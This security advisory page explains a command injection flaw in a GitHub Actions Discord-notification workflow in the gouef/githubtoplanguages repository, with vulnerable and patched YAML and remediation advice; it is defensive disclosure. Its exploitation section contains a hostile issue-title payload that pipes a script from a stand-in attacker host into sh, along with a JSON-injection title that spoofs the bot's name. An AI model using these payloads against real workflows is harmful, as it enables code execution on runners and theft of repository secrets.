CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-C3XH-98XP-6QHF

GHSA-C3XH-98XP-6QHF: Command Injection via Issue Title in Discord Notification Workflow

Alon Barad
Alon Barad
Software Engineer

Jun 21, 2026·5 min read·32 visits

Executive Summary (TL;DR)

Untrusted GitHub issue and pull request titles are directly interpolated into an inline Bash script within a GitHub Actions workflow, leading to arbitrary OS command injection.

A command injection vulnerability exists in the .github/workflows/discord-issue.yml workflow of the gouef/githubtoplanguages repository. By exploiting literal string interpolation of untrusted issue titles into an inline Bash script, an attacker can execute arbitrary code within the GitHub Actions runner environment. This exposure risks the theft of repository secrets such as the Discord webhook URL.

Vulnerability Overview

The repository gouef/githubtoplanguages integrated a custom GitHub Actions workflow designated for notifying a Discord channel when issues or pull requests are processed. This automation is defined within the workflow file .github/workflows/discord-issue.yml, which triggers on issue opening and closing events.

The core of the functionality relies on a step that constructs a JSON payload containing details of the GitHub event and transmits it to a Discord webhook. Because GitHub Actions workflows run in a privileged virtual environment with access to repository secrets, secure handling of external inputs within these scripts is paramount.

The workflow exposed a significant attack surface by treating untrusted user input—specifically the title of a GitHub issue or pull request—as trusted executable instructions within an inline shell execution step. This architectural design flaw represents a classic input validation failure within an automation context.

Root Cause Analysis

The technical root cause lies in how the GitHub Actions runner processes expressions in inline scripts. Before executing a run block, the workflow runner scans the YAML for double-curly brace expressions and performs literal string replacement with the event payload values.

In the vulnerable workflow configuration, the expression ${{ github.event.issue.title }} was placed directly within double quotes in a Bash variable assignment. When the runner prepared the script for execution, it literally pasted the attacker-supplied issue title string into the shell script file.

Since the shell evaluates variable assignments inside double quotes, any command substitution sequence present in the issue title, such as backticks or dollar-parenthesis syntax, is parsed and executed by the shell. This occurs prior to the execution of the main commands, resulting in direct OS command injection under the permissions of the runner process.

Code Analysis

An examination of the vulnerable code snippet reveals the direct interpolation of the event-driven titles into local variables within the inline execution environment:

- name: Send notification to Discord
  env:
    DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL_ISSUE }}
  run: |
    STATUS="${{ github.event.action == 'opened' && '📢 **New Issue**' || '✅ **Issue Closed**' }}"
    ISSUE_TYPE="${{ github.event_name }}"
    ISSUE_TITLE="${{ github.event.issue.title || github.event.pull_request.title }}"
    ISSUE_URL="${{ github.event.issue.html_url || github.event.pull_request.html_url }}"
    AUTHOR="${{ github.actor }}"

If an issue is opened with the title $(id), the pre-processed script executed by the shell contains the literal assignment ISSUE_TITLE="$(id)". When the shell parses this line, the expression $(id) is executed, and its output is stored in the ISSUE_TITLE variable.

The patched version remediates this security gap by removing the direct interpolation from the inline script body entirely. Instead, the runner defines standard process-level environment variables, which do not undergo shell evaluation:

- name: Send notification to Discord
  env:
    DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL_ISSUE }}
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_URL: ${{ github.event.issue.html_url }}
    AUTHOR: ${{ github.actor }}
  run: |
    STATUS="${{ github.event.action == 'opened' && '📢 **New Issue**' || '✅ **Issue Closed**' }}"
    # Now, $ISSUE_TITLE is evaluated as a standard shell variable

Exploitation Methodology

Exploiting this vulnerability requires minimal administrative access because any authenticated GitHub user can open an issue on a public repository. This satisfies the Low Privileges requirement (PR:L) under the CVSS framework.

To trigger the vulnerability, an attacker submits a new issue with a crafted payload in the title field, such as test $(curl -fsSL http://attacker.com/malicious_script | sh). Once the issue is created, the GitHub Actions platform automatically triggers the workflow, parsing the payload and executing the malicious payload inside the ephemeral runner environment.

While the environment is virtualized and short-lived, it hosts highly sensitive information, including the GitHub runner's access tokens and configured repository secrets. In this specific repository, the runner holds the DISCORD_WEBHOOK_URL_ISSUE secret, which can be easily extracted and exfiltrated during execution.

Secondary Vulnerability: JSON Injection

Even when the shell execution is secured using environment variables, the system remains vulnerable to a secondary security weakness involving JSON injection. The workflow constructs the JSON payload using manual string concatenation inside double quotes within a curl invocation.

If an attacker provides an issue title containing unescaped double quotes, they can break out of the JSON string structure. This allows them to manipulate additional keys in the JSON object, such as the username or content fields of the Discord webhook payload.

To illustrate this, a title like Test\", \"username\": \"Admin Spoofer\" would override the Discord bot name. This architectural weakness underscores the importance of utilizing utility tools like jq to properly serialize data objects rather than manually constructing them using string templates.

Remediation and Best Practices

The primary remediation strategy is to upgrade to version 1.1.4 or apply the security patch shown in commit 157840482e592bd4f8e0617539e73cdbef26f1ac. This patch safely decouples the user-controlled input from the shell parsing context.

For comprehensive protection, developers should always separate code from data in GitHub Actions. This is achieved by mapping all context-based expressions into step-level environment variables before referencing them inside the shell script.

Furthermore, to completely mitigate both command injection and JSON structural manipulation, workflows should leverage specialized tools such as jq for payload assembly. This ensures that all inputs are systematically encoded, preventing both shell escape sequences and syntax corruption within downstream APIs.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Affected Systems

gouef/githubtoplanguages GitHub Actions Workflows

Affected Versions Detail

Product
Affected Versions
Fixed Version
githubtoplanguages
gouef
< 1.1.41.1.4
AttributeDetail
CWE IDCWE-74 / CWE-78 / CWE-94
Attack VectorNetwork (AV:N)
CVSS v4.0 Score7.1 (High)
Exploit StatusPoC
KEV StatusNot Listed
Affected ComponentGitHub Actions Workflow (.github/workflows/discord-issue.yml)
Ephemeral ImpactArbitrary Command Execution in Runner Environment

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

References & Sources

  • [1]https://github.com/gouef/githubtoplanguages/security/advisories/GHSA-c3xh-98xp-6qhf
  • [2]https://github.com/gouef/githubtoplanguages/commit/157840482e592bd4f8e0617539e73cdbef26f1ac

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 8 hours ago•CVE-2026-93363
4.3

CVE-2026-93363: Improper Access Control in Payload CMS Storage Upload Route

Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.

Alon Barad
Alon Barad
6 views•9 min read
•about 9 hours ago•CVE-2026-55098
6.5

CVE-2026-55098: Cross-Database Authorization Bypass via DuckDB Table-Valued I/O Functions in Basekick-Labs Arc

CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.

Alon Barad
Alon Barad
5 views•10 min read
•about 10 hours ago•CVE-2026-113787
6.1

CVE-2026-113787: Stored Cross-Site Scripting via Unescaped Style Attributes in odf-kit

CVE-2026-113787 is a stored Cross-Site Scripting (XSS) and HTML injection vulnerability affecting the odf-kit npm package from version 0.6.0 prior to 0.14.2. The HTML conversion engines (odtToHtml and odsToHtml) interpolate document-controlled styling and image attributes directly into inline style and src attributes without escaping double-quote characters. A remote attacker can supply a crafted .odt or .ods document to break out of HTML attribute boundaries and execute arbitrary JavaScript in the context of any web application rendering the converted HTML.

Alon Barad
Alon Barad
7 views•11 min read
•1 day ago•GHSA-M3QR-FVP4-78XJ
5.3

GHSA-m3qr-fvp4-78xj: Authentication Bypass and Log Disclosure in Basekick Labs Arc

GHSA-m3qr-fvp4-78xj is an authentication bypass and information disclosure vulnerability in Arc, an open-source, SQL-native time-series database developed by Basekick Labs and written in Go. Due to an improper route registration sequence within the Go Fiber HTTP server initialization pipeline, the application registered the /api/v1/logs endpoint prior to mounting the global authentication middleware. Because Fiber evaluates route handlers in strict declaration order and terminates request traversal when a handler returns without invoking c.Next(), unauthenticated remote callers can query the logs endpoint and retrieve up to 10,000 buffered operational log entries even when authentication is enabled.

Alon Barad
Alon Barad
9 views•8 min read
•1 day ago•CVE-2026-62848
7.3

CVE-2026-62848: Local Arbitrary Code Execution via Unsafe Deserialization in Metalama Named Pipe IPC

CVE-2026-62848 (GHSA-h26j-4vp7-x9w2) is a high-severity unsafe deserialization vulnerability in Metalama, a Roslyn-based meta-programming and code generation framework for C#. The flaw resides in the inter-process communication (IPC) channel used by Metalama within Microsoft Visual Studio. Across versions 2023.0 through 2026.1.18, the framework utilized either Newtonsoft.Json with TypeNameHandling.All or MessagePack with TypelessObjectResolver over local Windows named pipes without enforcing a strict type allow-list. Because the named pipes use predictable identifiers, any local process running under the same Windows user session can connect to the endpoint and transmit crafted serialized payloads, resulting in arbitrary Common Language Runtime (CLR) type instantiation and code execution within the host Visual Studio process.

Alon Barad
Alon Barad
10 views•9 min read
•1 day ago•GHSA-9PPR-WFW9-XVR2
5.3

GHSA-9ppr-wfw9-xvr2: DNS Cache TTL Manipulation Failure in Netfoil via Go Value-Copy Range Iteration

A logic flaw in github.com/tinfoil-factory/netfoil versions 0.3.0 through 0.6.0 prevents the DNS proxy from properly decrementing Time-To-Live (TTL) values on cached DNS responses and enforcing configured maximum TTL limits. Due to an idiomatic Go programming mistake where a range loop modifies value copies of slice elements rather than the underlying slice array, netfoil continually serves DNS answers with their original static TTLs. This condition causes downstream clients and resolvers to retain stale DNS records beyond their intended expiration window and bypasses local MaxTTL administrative policies.

Alon Barad
Alon Barad
8 views•10 min read